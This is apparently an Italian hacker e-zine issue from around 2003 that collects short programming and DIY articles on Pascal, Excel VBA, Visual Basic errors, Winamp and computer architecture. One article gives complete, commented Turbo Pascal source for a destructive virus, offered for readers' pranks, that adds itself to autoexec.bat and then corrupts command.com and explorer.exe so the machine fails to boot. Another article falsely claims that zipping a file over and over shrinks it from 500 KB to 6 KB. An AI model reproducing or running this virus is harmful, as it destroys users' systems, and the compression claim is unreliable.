chiedetemi del perché di  questo nome, perché non ne ho assolutamente la minima 
idea. Cmq i boolean sono delle variabili, che a differenza di tutti gli altri 
tipi che contengono numeri, ASCII o stringhe, ecc. queste variabili, contengono 
due "cose" che sono:

FALSO e VERO

in pratica, l'uso di questo tipo di variabile è abbastanza ridotto,il motivo lo 
saprete quando sarete programmatori.

I boolean si dichiarano così:

var verofalso:boolean;

scoprirete poi, quando dovrete assegnare un valore a VEROFALSO che, non bisogna 
scrivere niente tra gli apici (dato che eravamo abituati con le stringhe e i 
caratteri) quindi, se voglio dire al compilatore che VEROFALSO è FALSO allora, 
devo fare così: 

VEROFALSO:= FALSE;

invece, se voglio dire che VEROFALSO è VERO, devo fare cosà:

VEROFALSO:= TRUE;

chi non mastica l'inglese,deve sapere che TRUE vuol dire VERO e FALSE vuol dire 
FALSO

passiamo a:

I SEGNI MATEMATICI

=               uguale
-               meno
+               più
*               per
/               diviso(con resto)
div             diviso(senza resto)
mod             diviso(il resto di una divisione intera[il resto del div in 
pratica])
**              elevato
sqrt            radice quadrata
**(1/3)         radice cubica
:=              assegnazione (da non confondere con l'=)
<               minore
>               maggiore
<=              minore uguale
>=              maggiore uguale
<>              diverso
AND             e
OR              o

LE COSTANTI

sono simili alle variabili per dichiararle, bisogna farlo PRIMA delle variabili 
così:

program costanti;
uses crt;
CONST PIGRECO:=3.14;
var ciao:string;
eccetera

il valore di una costante, non si può mai cambiare (se no, non si chiamerebbe 
costante) ricordatevi che il separatore decimale, è il punto '.' e non la 
virgola 
and this is All punks

KoRnuto

P.S.
per ogni eventuale studio, vi ho fatto il rispettivo programmino col rispettivo 
progetto in turbo pascal

Alla proxima!


+==[ PROGRAMMAZIONE ]=========================================================+
|  Titolo: Un virus in pascal                                                 |
|  Autore: Kornuto                                                            |
|  Lingua: Italiano                                                           |                                              |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
Disclaimer:
L'autore, cioè KoRnuto, NON SI ASSUME NESSUNA RESPONSABILITÀ SULL'USO IDIOTA DI 
'STO FILE IDIOTA

Eccovi direttamente il progetto, ogni istruzione è spegata sotto commento

-------------------------------------------------------------------------------
{ program made up by KoRnuto copyright 2003 }
{ ehilà!!! questo è KoRnuto, qui perchè vi ha fatto un suo virus in modo che 
voi lo usiate per le vostre lamerate, andando avanti nel progetto, pian piano 
vi spiegherò ogni istruzione che ho usato,per farvi capire che il virus writing 
in turbo pascal è una cosa assolutamente semplicissima, anche se le possibilità 
di fare virus MOLTO efficaci, e quasi nulla... in effetti tutti sanno che i 
migliori virus vengono fatti o in c++ oppure in assembler, anche se ciò 
richiede molto tempo (nel caso dell'assembler) qui, vi spiego come fare un 
virus in turbo pascal, perchè è il linguaggio + facile (secondo me) con cui 
fare virus, dove non bisogna mettersi mesi a pensarci sopra, quando bastano 
alcune istruzioni del cazzo per fare qualcosa di potente ed efficace. 
cominciamo col nome del programma, come potete vedere io non è che ho molta 
fantasia, quindi il nome l'ho scritto così subito per fare capire ai lettori 
che bisogna fare molta cautela, il virus è stato scritto in un computer con 
windows millenium edition, ed è assai probabile che non funzioni con altri 
sistemi operativi come Windows XP o Windows 2k cmq, credo che ancora molta 
gente possieda questo sistema operativo, quindi lo dedico a tutti voi, che come 
me, avete un windows di merda... heh heh heh heh N.D. perchè il virus funzioni 
bisogna chiamarlo 'v.exe' e poi farlo partire, non sul vostro computer, non 
credo che siate così stupidi  questa qui del virus che si chiama 'v.exe' è 
solamente un metodo di sicurezza  per voi che volete conoscere l'informazione 
libera }

program virus;               { nome del programma, come ho detto prima, privo
                               di fantasia }
uses crt,dos;                { le librerie da includere, è molto importante }
type autoexec=file of char;
var c,invio,i:char;            { dichiarazione delle variabili }
j:integer;
command,explorer,auto,backup:autoexec; { command.com, explorer.exe, 
autoexec.bat}

begin
i:='v';
assign(command,'c:\windows\command.com'); { così assegno ad ogni variabile la 
proprio Path }
assign(explorer,'c:\windows\explorer.exe');
assign(auto,'c:\autoexec.bat');
assign(backup,'c:\autoexec.bot');
invio:=chr(13); { istruzione che assegna ad invio il carattere ASCII 13 }
{ la gente sa che il carattere 13 è lo stesso carattere che esce quando si }
{ schiaccia invio, ad esempio, la 'A' è 65, la 'B' 66, per chi non ha mai }
{ sentito parlare di una tabella ASCII }

{ e fin qui abbiamo copiato il virus dentro il computer }
{ ora inseriamo nell'autoexec il nome del virus in modo che il virus venga }
{ avviato all'accensione del computer }

reset(auto);  { apri autoexec }
read(auto,c); { leggi il primo carattere ascii che trovi }
if c <> 'v' then begin { se il carattere che hai letto è diverso dal nome del 
virus allora}
reset(auto);          { apri autoexec }
rewrite(backup);      { creane un backup }
write(backup,i);      { scrivi nel backup il nome del virus }
write(backup,invio);  { metti un invio }
invio:=chr(10);       { metti un invio(2) }
write(backup,invio);  { metti un invio(3) }
invio:=chr(13);       { metti un invio(4) }
write(backup,invio);  { metti un invio(5) }
invio:=chr(10);       { metti un invio(6) }
write(backup,invio);  { metti un invio(7) }
repeat
read(auto,c);         { leggi un carattere per volta nell'autoexec }
write(backup,c);      { scrivi nel backup quel carattere }
until eof(auto);      { finche non arrivi alla fine di autoexec }
rewrite(auto);        { crea autoexec }
reset(backup);        { apri il backup }
repeat
read(backup,c);       { inserisci il contenuto del backup }
write(auto,c);        { nell'autoexec }
until eof(backup);    { finche non arrivi alla fine del backup }
setFAttr(backup,Hidden); { nascondi il backup }
end;                  { fatto }

j:=0;
if c='v' then begin  { se invece il carattere che hai letto prima è uguale nome 
del virus allora }
reset(command);    { apri command }
read(command,c);   { leggi il primo ascii che trovi }
c:=char(ord(c)+2); { sommalo di due }
repeat
write(command,c);  { e scrivilo al posto del carattere di prima }
j:=j+1;            { somma di 1 j }
until j=50;        { finche j non arriva a 50 }

{ questo per incasinare di brutto il command, ho provato inizialmente solo a
  sommare di due il primo carattere ascii del command, ma funzionava comunque}
reset(explorer);   { apri l'explorer }
read(explorer,c);  { leggi il primo ascii che trovi }
c:=char(ord(c)+2); { sommalo di due }
repeat
write(explorer,c); { e scrivilo al posto del carattere di prima }
j:=j+1;            { somma di 1 j }
until j=100;       { finche j non arriva a 50 }
close(command);    { chiudi e salva command }
close(explorer);   { chiudi e salva explorer }
end;

{ ok, abbiamo inserito nell'autoexec il nome del virus, quindi al riavvio se il 
virus legge il suo nome, allora incasina command.com ed explorer così il 
computer non parte e voi avete compiuto la vostra lamerata } 

end.
-------------------------------------------------------------------------------

MA PERCHE' SCRIVO SOLO ARTICOLI LAMERI?!?

bien, this is all punks!!!

byezz

KoRnuto


+==[ PROGRAMMAZIONE ]=========================================================+
|  Titolo: Programmare gli Oggetti Excel in VB                                |
|  Autore: Unrelated                                                          |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
¢•••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••
---< Programmare gli Oggetti Excel in VB >------------------------------

 Mi  ero  ripromesso  di non perdere la testa con queste lunghi tutor di
 programmazione,  ma  diciamo  per  istinto patriottico, x aver scoperto
 altre cose a causa di esigenze lavorative  incomincio  a  descrivervi i
 fondamentali  per  interagire  con Excel in modo completo e flessibile.
 Questo tutorial non è destinato a newbies infatti credo di non inserire
 esempi di nativi completi dicendo dove e come inserire la macro... dirò
 solo le sue varie chiamate e le possibili idee di applicazione.  Perchè
 incominciare a scrivere questo tutorial? Perchè per programmare  in  VB
 non è detto che debba usare per forza VisualBasic...  Quindi  non  vedo 
 perchè non sfruttare al massimo le conoscenze che ho aquisito cambiando
 piattaforma di fagaogaovaorvav v wpognwpnwp basta mi sono rotto di dare
 spiegazioni... anzi ho cambiato idea partirò proprio dalla  spiegazione
 delle macro... come si registrano e balle varie... poi non dite che  il
 vostro lord non vi vuole bene :)

---< Cosa essere una Macro? >-------------------------------------------
 Una macro è una procedura,  non  è una funzione. Cioè ha soli parametri
 generali che non modificano direttamente il  modificabile.  Sono quindi
 alla base.


---< Come fare una Macro in Excell? >-----------------------------------
 Beh la cosa  è  estremamente semplice :)  Aprite questo Excel andate su
 strumenti > Macro > Registra Macro..  Vi  comparirà  una  finestra dove
 vi chiederà di inserire alcuni dati che descriverò qui di seguito:
 
 Nome Macro 
            ... Dateci il nome che volete a me non mi frega...
 
 Scelta Rapida da Tastiera
            ... Beh, per richiamare la funzione in modo veloce

 Memorizza Macro in cartella di Lavoro corrente 
            ... Rende la funzione utile per il solo foglio dove
                viene inserito...

 Memorizza Macro in cartella personale
            ... fa in modo che la macro venga inserita da tutto il
                progetto e non solo dalla cartella in cui è stata
                applicata la macro...
 Tasto Scelta Rapida
            ... lo lascio a libera interpretazione...

 Dopo aver pigiato su  Ok  potete  fare  quello  che  volete   e   verrà
 registrato sotto codice  VB... Tipo  selezionamo  una  casella di testo
 e scriviamoci sopra "a", poi clicchiamo su  STOP..  quel  quadratino...
 l'avete visto? dai cazzo raga non vi perdete  in un bicchiere di  dati!
 Lo so che non fa ridere come battuta ma  andiamo avanti... cliccato  su
 STOP ora possiamo pigiare ALT+F11  e  entrare nel  cuore  dell'excel  e 
 vedere il codice che è stato registrato...   se  avete fatto tutto bene
 nell'editor di macro  che  raggiungerete  dopo  aver  cliccato  ALT+F11 
 scendendo nel Modulo e aprendolo...

 Sub Macro1()
 '
 ' Macro1 Macro
 ' Macro registrata il 16/08/2003 da Lord Unrelated Lodeguns
 ' 

 '
    Range("A1").Select
    ActiveCell.FormulaR1C1 = "a"
 End Sub

 Visto che l'impresa non è molto difficile :) beh  ma  analizziamo   una
 cosa particolare in questo semplice codice... se  ben  notate  c'è   un
 comando che potremmo dire universale , cioè  ActiveCell.FormulaR1C1   e 
 altri   più  specifici  Range("A1").Select,  ma  approfondiremo  queste 
 situazioni  in un altro momento.. ora incominciamo a pensare rendere il
 codice  + semplice... non ci siete arrivati? se lo scopo è  scirvere  a
 nella  casella   A1...  non  ci  interessa il comando .Select quindi il
 codice diventerà questo:

 Sub Macro1()

    Range("A1").FormulaR1C1 = "a"

 End Sub

 sintetizzato vero...  ora fate un piccolo esperimentino  per  praticare
 una piccola opera di autosoddisfazione...
 senza   chiudere  il  macro andate  sul  foglio  che  tenete  aperto... 
 cancellate la   "a", ritornate nella finestra del  macro e  schiacciate
 play... quel triangolino...   merda  quel triangolino  azzurro...  ecco
 bravi... non vi rovino la sorpresa,    ritornate  sull'excel  e  vedete
 cosa compare nella casella A1 ;)  minkia  sono troppo tranquillo oggi..
 sto ascoltando dall'album Odio Pieno di Colle der  Fomento  la  canzone
 Elfo Scuro... che credo sia trovabile con WinMX perchè è  troppo  bella
 e rido da solo... forse anche perchè da un certo  tempo  mi sto facendo
 dei cannoni troppo buoni... è estate  bisogna  divertirsi,  legalizzate
 la MARIA! ehm forse sono andato  troppo  olte... :)   diciamo  che  qui
 vorrei farvi un bel  manualetto  per  permettervi  di  programmare  una
 classe  ma  poi perderei lo scopo del tutor...  sarà  una  idea  per il
 proximo ;)


---< Gli oggetti >------------------------------------------------------
---< Oggetto Application >---------------------------------------------- 

Finalmenti siamo giunti allo scopo del tutorial... :)

 Immagginiamo di dover comandare Excell da Word o da FrontPage o  da  VB
 per poter fare in modo che abbiamo un  grafico come  si  deve...   cosa
 dobbiamo fare prima  di  tutto?  Allora  cliccando  ALT+F1  nell'editor
 andiamo su STRUMENTI e poi clicchiamo su RIFERIMENTI...  qui andiamo su
 sfoglia e seguiamo questo percorso: 

 C:\Programmi\Microsoft Office\Office\EXCEL9.OLB
 
 inserita la Libreria ora non ci resta che andare  su  inserisci> Modulo
 e  chiamare  l'attivazione  globale  della libreria con qusta Macro che
 logicamente  dovrà  essere  inserita  nel  modulo...     (per i + duri)
 
 
 Sub apri()
 
    Dim excel as New Excel.Application
    excel.Visible = True
 
 End Sub 
 

 Attivata la nostra libreria ora potremmo fare una cosa...  per  aprire
 il nostro Excel con Word ecco la procedura... 


 Sub apri()
 Dim el As excel.Workbook
 MsgBox "Sto per aprire..."
 Set el = excel.Workbooks.Open("C:\nomefile.xls")
 MsgBox "... ecco fatto"
 End Sub
 
 Umm... si potrebbe fare anche se non ci ho mai provato di non dare un 
 percorso  definito  al  nome  file,  ma,  fare  in  questo  modo:
 
 excel.Workbooks.Open(patch & "\nomefile.xls")
 
 Ma in questo caso il file che apre deve stare nella stessa patch dell'
 excel... :D




---< Altri Oggetti Application >--------------------------------------- 

 Altre due proprietà dell'oggetto Application sono il Worksheets  e  il
 Charts, il primo conta i fogli  del  database  e  il secondo gli altri 
 fogli  che  non  sono  di  calcolo . . .
 Sono visualizzabili con una semplice chiamata count
 
 
 Application.Worksheets.Count
 
 Application.Charts.Count

 Possibile  applicazione  nella  macro  stesso  dentro a excel potrebbe 
 essere:
 
 Sub ws()
 conta = Application.Worksheets.Count
 MsgBox conta
 End sub
 
 oppure inserendo il Charts...

 Qui di seguito vi descrivo altri oggetti utilizzabili... + o - quelli
 che ho trovato :) :
 
 ActiveCell            (Descrive la cella attiva)
 ActiveChart           (Descrive quale è il grafico attivo)
 ActivePrinter         (Identifica la stampante Attiva)
 ActiveSheets          (Descrive il foglio messo in primo piano)
 ActiveWorKBook        (Restituisce la casella di lavoro attiva)
 

 Alcuni esempi...
 
-------------------------------------------0
 Sub caz()

 ' restituire l'indirizzo della cella selezionata altre cose
 ' trovatevele voi...
  
  ac = Application.ActiveCell.Address
  MsgBox ac

 End Sub
--------------------------------------------0

 Sub caz()
 ' Analizza la stampante attiva e su quale porta sta.. 
  ac = Application.ActivePrinter
  MsgBox ac
 
End Sub 
--------------------------------------------0

 Lascio a  voi lo scoprire altre application per questi oggetti sheets!
 Ora  passiamo  all'analizzazione  di  un  oggetto Range che in effetti
 abbiamo  anche  se  sommariamente  potuto vedere praticando ActiveCell 




---<  L'oggetto Range e Range Avanzato >-------------------------------

---< Range Normale >--------------------------------------------------- 
 Sappiamo  anche  come  descritto nel primo esempio di questo tutor che
 range descrive il nome della cella...  ma se tipo vogliamo selezionare
 più celle come possimo fare?      Nel senso rendiamolo anche in modo +
 utile a capire a cosa serve... voglio colorare un gruppo di celle come
 posso fare? Bhe prima descriviamo il modo di selezionare  le  celle  e 
 poi applichiamo la colorazione... :) 


 Range("A1")      'seleziona la casella A1


 Range("B17:B20") 'seleziona la casella B17 fino alla casella B20..


 Range("A1:C9")   'seleziona Dalla casella A1 alla C9,  selezionando il
                  'modo quadrangolare


 Range("E:E")     'seleziona una intera colonna


 Range("F:F,G:G") 'seleziona le due colonne


 Range("F:F,G:I") 'seleziona la colonna F e quelle che vanno da G a I
 

 Range("7")       'seleziona la righa 7


 Range("9,10")    'seleziona le righe da 9 a 10

 
 Un esempio sempre da inserire nel modulo...

---------------------------------------------0
 
 Sub KK(oggetto As Range, colore As Integer)
     oggetto.Interior.ColorIndex = colore
     oggetto.Value = True
 End Sub

 Sub rangcolor()
    colora Range("A1"), 1      
    colora Range("B17:B20"), 2
    colora Range("A1:C9"), 3
    colora Range("E:E"), 8
    colora Range("F:F,G:G"), 4
    colora Range("H:H,I:L"), 20
    colora Range("7"), 9
    colora Range("9,10"), 10
 End Sub

---------------------------------------------0

 Un pazzo con molta voglia potrebbe creare un  tool  per  analizzare  i 
 pixel di una immaggine a di applicarli a un foglio excel per tramutare
 disegni in database colorati :)


---< Range Avanzato >-------------------------------------------------- 

 Metodo Offset
 Si sposta da una cella a un altra in base alle cordinate X, Y possiamo
 vedere come si spostano in questo esempio:

---------------------------------------------0

 Sub colora(oggetto As Range, colore As Integer)
      oggetto.Interior.ColorIndex = colore
      oggetto.Value = True
 End Sub

 Sub coloraoffset(originale As Range, _
      offsetX As Integer, offsetY As Integer, colore As Integer)
      colora originale, colore
      colora originale.Offset(offsetX, offsetY), colore
 End Sub

 Sub provaOffset()
      coloraoffset Range("A1"), 2, 3, 7
      coloraoffset Range("B5"), -2, 3, 9
 End Sub
---------------------------------------------0
 
 Osservate l'esempio per poter capire meglio gli spostamenti :)



---< Oggetto AutoCorrect >--------------------------------------------- 
 
 Anche se su  Strumenti>CorrezioneAutomatica  abbiamo la possibilità di
 impostare  da  nativo  le  opzioni  di   Correzione Automatica,  ecco:
 

 CapitalizeNamesOfDays:      se True, rende le lettere maiuscole delle
                             iniziali del giorno

 CorrectCapsLock:   Se è True, corregge l'uso accidentale di Caps Lock


 CorrectSentenceCap:    se true rende maiuscola la lettera della frase
 

---< Oggetto UsedRange & CurrentRegion >-------------------------------
 
 Used  range  applica  una ricerca  di  tutte le celle selezionando in
 forma  quadratica  la  prima  cella  piena  e  l'ultima  cella  piena,
 e il currentRegion, invece  seleziona  le celle piene vicino a quella
 vuota che si seleziona nel CurrentRegion...
 
 esempio:
 
 Sub a()
     ActiveSheet.UsedRange.Interior.ColorIndex = 39
     ActiveSheet.Range("H18").CurrentRegion.Interior.ColorIndex = 52
 End Sub

-----------------------------------------------------------------------


 Beh  ci  sono  anche altri oggetti che comunque non erano interessanti 
 come questi... mi raccomando ora che sapete come si fanno le Macro   e
 ora che comunque avete nelle vostre mani esempi pratici delle +  pazze
 applicazioni di oggetti... beh... divertitevi...


--< unrelated at libero dot it >----------------------------------------
--------------------------------------¤ Lord Unrelated Lodeguns ¤-------
¢•••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••

+==[ PROGRAMMAZIONE ]=========================================================+
|  Titolo: Fottuto errore 3170 ISAM INSTALLABILE                              |
|  Autore: Unrelated                                                          |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
¢•••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••
--< Fottuto errore 3170 ISAM INSTALLABILE >-----------------------------
--< Visual Basic >------------------------------------------------------
 E' una  giornata  d'estate  tranquilla...  ho dimenticato la scuola, la
 ricerca disperata della ragazza e  non  ci  crederete  ma  sono  seduto
 fuori la mia casa del mare all'ombra di circa 5 alberi con il mio  caro
 Acer... e mi capita di reinstallare il  vb  che non avevo ancora  messo
 su questa macchinetta... come un lampo mi capita nella mia mente quello
 stramaledetto errore che mi capitava spesso quando ero alle prime armi,
 l'errore 3170! Quindi ecco questo tutorino...
 Ma prima vorrei riassumervi un messaggio che mi ha mandato cyber anche
 se non gli ho risposto perchè sto senza soldi... 

 "Ciao come te la passi?              (Male come sempre ma continuamo...)
 
 "io mi sto divertendo un casino"     (Beato te... io sto pensando a sto
                                       cazzo di errore e sto tutto nero.) 
 "con la mia ragazza,"                (cyber in questo caso infierisce
                                        sottolineando e "tu povero gay 
                                        sei sempre solo come un cane...")
 "e che si dice dal mondo digitale?"  (Ecco lo scopo nascosto dell'SMS)
 
 "salutami quelli del canale..."      ( purtroppo sto in vacanza e
                                        trovare un internet cafè non è
                                        una impresa semplice... )
 
 dopo queste piccole parentesi ritorniamo a noi... :--,
                                                      |
                                                     \ /
                                                      ^
    
 Quante volte avete stramaledetto il  vostro Visual Basic, voi  meno
 esperti di vb, cercando di sapere come diavolo si ripara all'errore
 3170 : IMPOSSIBILE TROVARE ISAM INSTALLABILE?  Beh ora vi spiego un
 pò di cosine...

--< Errore 3170 >-------------------------------------------------------
 Allora,prima cosa la causa di questo fottuto errore è il non trovare
 una determinata DLL...      questa DLL dovrebbe avere la funzione di
 collegare  un  database  del tipo .xls o .txt o altri che  non  sono 
 supportati da nativo... (l'unico che il vb supporta è l'.mdb) con 1a
 applicazione VB...

--< Cos'è l'isam? >-----------------------------------------------------
 I files ISAM sono i semplici database tipo il    .xls (EXCELL), .pdx 
(paradox) e altri... questi database  vengono  chimati  database  JET.
 E l'errore lo sottolineo sta nel fatto  che  non si trova il "PONTE"
 che colleghi le caselle esterne scritte in VB con  il  database  JET.

--< Possibili cause della mancanza del PONTE e soluzioni >--------------
 
 1. Sta impostato il valore sbagliato nella connessione del database
    stesso dentro al form...
 2. Se siete abituali far fare grossi viaggi ai  files   del    vostro HD
    verificate che le  informazioni  memorizzate  nel  Registro...  per i
    quali i driver ISAM  non  sono  instrallati in modo corretto, essendo
    il percorso variato.
 3. Quando avete installato  il Visual Basic non avete sezionato il Check
    Jet IISAM DRIVER... quindi   basta che andate sul setup del VB e fate
    "Cambia Opzioni" poi ricercate l'altro tasto del quale non mi ricordo
    il nome e selezionate "Jet IISAM DRIVERS"
 4. Se per caso il database e le impostazioni di Jet non sono messe  bene
    per colpa di un server che non vi fa accedere...  bisono  andare  nel
    Registro di Sistema e verificare:

    Se avete il Jet3.5 che 
    "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Jet\3.5\Engines\..." 
    abbia il percorso corretto diretto alla libreria "MSXBSE35.DLL"

    Se avete invece il 4.0 verificare che il percorso
    "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Jet\4.0\Engines\..."
    abbia come destinazione corretta la libreria "msxbde40.dll"

--< unrelated at libero dot it >----------------------------------------
--------------------------------------¤ Lord Unrelated Lodeguns ¤-------
¢•••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••


+==[ FAI DA TE ]==============================================================+
|  Titolo: Telefono Voice via IP                                              |
|  Autore: Bigalex                                                            |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
Salve ragazzi, mi sono appena svegliato (sono le 15.18) e og-
gi voglio parlarvi di una modifica da apportare ad un telefo-
no che ho pensato  stanotte (non ho  dormito fino alle 5.30 e
mi sono messo a pensare qualcosa di utile :).
Con questa modifica potremo usare un telefono normale come un
telefono voce via IP. Come fare? Ecco l'occorrente:
- Un telefono (non cordless, non cellulare...un normale tele-
  fono
- Una porta joystick maschio
- Due connettori per cuffie mono
- Un cavo da 14 fasi.

Quel che dobbiamo fare è: come prima cosa, attaccare altopar-
lante e microfono a 4  fili, per  poi collegarli  alla scheda
audio del computer e successivamente collegare tutti i numeri
ed il # alla porta joystick (Vedere  il mio articolo sui joy-
stick a riguardo), usando poi  come driver 'cloche a 4 assi e
4 pulsanti. Fatto questo, basterà collegare tutto al computer
e fare un programma che interpreti  la pressione dei vari ta-
sti e consenta quindi di selezionare l'IP (il # sarà il punto
e l'ultimo tasto, quello che  per esclusione collegheremmo al
tasto * è invece da collegare al tasto per 'attaccare' il te-
lefono. Una volta  interpretati  i tasti, il  programma dovrà
'chiamare' l'IP da  noi richiesto ed  attendere una risposta.
Ovviamente per poter parlare bisognerà usare un protocollo di
trasmissione  voce via IP. Fatto questo, avremo il nostro bel
telefono voce via IP :P
Appena avrò tempo farò tutto e scriverò un articolo che illu-
stri esattamente come fare, k? :)

Ciauz a tutti, buone vacanze! :D

--
BiGAlex
E-Mail: b1galez@hotmail.com
FOunder of the Open C6 Project (openc6.extracon.it)

+==[ FAI DA TE ]==============================================================+
|  Titolo: Mp3 to Wav with Winamp                                             |
|  Autore: Cyberdude                                                          |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
-====IL CONTESTO====- 
Sabato 30 agosto ore 00:12! Situazione : sono solo nello studio  intorno  a  me 
buio, silenzio, a farmi compagnia il solo monitor a  17  pollici  e  il  rumore 
incessante dei tasti che premo alla rinfusa scrivendo quanto segue. Nella mente 
un solo pensiero, tra meno di 12 ore la  rivedrò,  si va  a  Napoli  dalla  mia 
bimba. Unico problema : trascorrere la nottata, data l'insonnia  provocata  dal 
caldo e la malinconia di una delle prime notti di questo  fine-estate  dopo  il 
travagliante ritorno alla solita vita dopo due mesi trascorsi al  mare  con  la 
proprio ragazza a passare le serate sotto le stelle sulla spiaggia… sono un po' 
malinconico questa sera! Ad aggravare il tutto si ci mette il fatto che  ancora 
non so quando dovrò tornare a  scuola  anche  se  le  mie  compagne  di  classe 
auspicano una ripresa delle piene attività entro il 2 settembre! Unico pensiero 
felice : domani la rivedo. Quindi dedico  a  Lory,  la  mia  piccolina,  questo 
articolo di questa sera che scriverò per combattere questa insonnia!!! A  tutti 
coloro che sono nei loro lettini e riescono a dormire auguro una dolce notte … 
beati voi, io ora comincio  a  scrivere  qualche  cosa,  speriamo  di  cacciare 
qualcosa di buono. 

-====L'ARTICOLO====-
Dunque ragazzi di cosa parleremo? Scrivendo questo articolo vorrei semplificare 
la vita ad un mio amico del mare che mi ha chiesto più volte come  poteva  fare 
per trasformare gli Mp3 scaricati da internet in file Wav per poter incidere le 
proprie compilation. Io più e più volte ho insistito che  era  possibile  farlo 
con il WinAMP che lui usa per il solo scopo di ascoltare tali  Mp3.  In  questo 
articolo quindi vado a spiegare in pochi passaggi come ti  trasformo  l'MP3  in 
WAV con WinAMP. 

Primo passo da fare, aprire WinAmp e notare quello strano  simbolo  in  alto  a 
sinistra … ciccandoci sopra vedrete che si apre un menù a  cascata,  andiamo su 
Options e poi Preferences. A questo punto nel sottomenù di sinistra compare  la 
scritta Plug-ins , selezioniamo la seconda voce Output e  nel menù  a destra di 
fianco alla scritta selezionata troviamo gia selezionata  la  voce  DirectSound 
Output, noi invece dobbiamo selezionare NullSoft Disk Writer Plugin v2.2.1. Una 
volta selezionato questo andiamo a clickare sulla scritta in basso Configure  e 
dove vediamo scritto Output directory andiamo a selezionare la  directory  dove 
vogliamo sia posizionato il  file  convertito in wav.  A  questo  punto abbiamo 
trasformato il winamp in un convertitore MP3-WAV . Digitiamo  ok  e  chiudiamo.
Per trasformare i nostri file adesso ci basta selezionare gli MP3 con il winamp 
come se volessimo ascoltarli e premere play con la  differenza  che  invece  di 
sentire l'audio avremo una rapida trasformazione senza perdita  di tempo  e  di 
qualità… per ritrasformare il nostro winamp in un lettore  basta  riselezionare 
DirectSound Output al posto di NullSoft Disk Writer  Plugin v2.2.1.  Tutto  qui 
semplice vero? Ciao a tutti ragazzi alla prossima 

Cyberdude 


+==[ FAI DA TE ]==============================================================+
|  Titolo: Zippa lo zip                                                       |
|  Autore: Tailot                                                             |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
ALLORA RIECCOMI DOPO LE INFINITE  VACANZE  TAILOT  ritorna  nei  suoi  passi  a 
scrivere  qualche  riga..... perchè al  giorno d'oggi  c'è sempre  qualcosa  da 
imparare...... Voglio essere sbrigativo......e preciso. Secondo voi e possibile 
fare diventare 500 Kb ...... 6 Kb. Bhe io ci sono riuscito.......hehhehehehe la 
tecnica è semplice e precisa.......zippate  il  vostro  caro file.....a  questo 
punto togliete il formato al file e rizzippatelo fate così fin quando  il  file 
non sarà diventato 6 Kb circa!!!! Scusate per il mio articolo telegrafico....ma 
in fondo quello che conta è il succo!!! entro fine mese sviluppero  un software 
che fa tutto ciò in automatico.....lo vedrete on-line

BY TAILOT                   
                              Per ulteriori informazioni:
                              WWW.TAILOT.CJB.NET
                              webmaster@tailot.zzn.com 


+==[ ARCHITETTURA DEI COMPUTER ]==============================================+
|  Titolo: Elaboratori Elettronici (PC)                                       |
|  Autore: BrNoCrIsT                                                          |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
 Autore:   BrNoCrIsT
 nick: BrNoCrIsT
 e-mail: brnocrist@libero.it
 web: http://coding.cjb.net
 IRC: irc.azzurra.org:6668 <> #coding #campaniahack #slackware #xalug 
      irc.tin.it:6668  <>  #linux.eu #hackit #mojodo


 INDICE: Elaboratori Elettronici (PC)

 1.Schema funzionale dell'elaboratore Elettronico.
 2.Registri.
 3.Memoria Centrale
 4.Unita' di Controllo(U.C.) e Unita' Logico-aritmetica(A.L.U.).
 5.Flip-Flop.
 6.conclusione.


   1. Schema funzionale dell'elaboratore Elettronico.

 Un elaboratore e' una macchina in grado di eseguire operazioni su dati
 forniti in input, per ottenere dei risultati emessi come dati in output.
 A tale scopo si puo' immaginare costituito da un certo numero di parti
 elementi dette unita'.
 I componenti fondamentali di un elaboratore sono: memoria centrale, unita'
 logico aritmetica (A.L.U. Arithmetic-logic-Unit),  unita' di controllo
 (U.C.Unit-Control) ceh comprendono CPU e periferiche I/O.


                 ______________
                 |   MEMORIA  |
           /-- > |  CENTRALE  |
           |     --------------
           |       ^     |
           |       |     |
           |       |     |
           |       |     |
       _______     |     |
       |     |     |     V
       | U/I |<- |---------|     ---------
       ------- ->|         |---->|       |
                 |   U.C.  |     |  U/O  |
                 |---------|     ---------
                   ^    |
                   |    |
                   |    |
                   |    V
                ------------
                |          |
                |  A.L.U.  |
                |----------|


 *. Le Unita' di Ingresso (U/I) provvedono al trasferimento alla CPU di dati
  e istruzioni; tali informazioni vengono registrate in forma codificata
  su schede magnetiche, su nastri perforanti, su dischi magnetici o altri
  elementi.

  *. L'A.L.U. esegue le operazioni matematiche e logiche sui dati.

  *. La "memoria" conserva i dati e le istruzioni necessarie per eseguire un
    programma, dove per programma si intende una sequenza di istruzioni
    introdotte in memoria dall'unita' di input.

 L'U.C. dirige e coordina l'intero sistema in particolare:

 --supervisiona le singole istruzioni.

 --trasferisce i dati alla A.L.U. ceh esegue su di essi le operazioni
  richieste dalle istruzioni.

 --Si occupa della memoriazzazione temporanea di risultati parziali e della
  relativa estensione e strasferimento alla A.L.U. , quando richiesto.

 --Trasferisce le operazioni finali all'unita' di output.

 Le unita' di uscita (U/0) provvedono al trasferimento di informazioni
 dall'elaboratore all'eserno.


   2. Registri.

 I registri sono piccole memorie di transito contenute nell'unita' centrale,
 il cui compito e' si memorizzare temporaneamente alcune informazioni
 durante l'elaborazione. Ogni registro e' costituito da alcuni "Flip-Flop"
 (ne parleremo dopo) collgati in serie tra di loro, in numero pari ai bit
 della "parola" dell'elaboratore.

                        ---------
        ingresso ------>|       |-----> uscita
                  /---->|  D-FF |
                  |     ---------
                  |
                  |     ---------
      ingresso ---+---->|       |
                  |     | D-FF  |-----> uscita
        --clock---*---->|-------|
                  |         |
                  |         |
                  |     ---------
      ingresso ---+---->|       |
                  |     | D-FF  |-----> uscita
                  \---->|-------|


 La figura mostra un registro realizzanto con Flip-Flop di tipo D con una
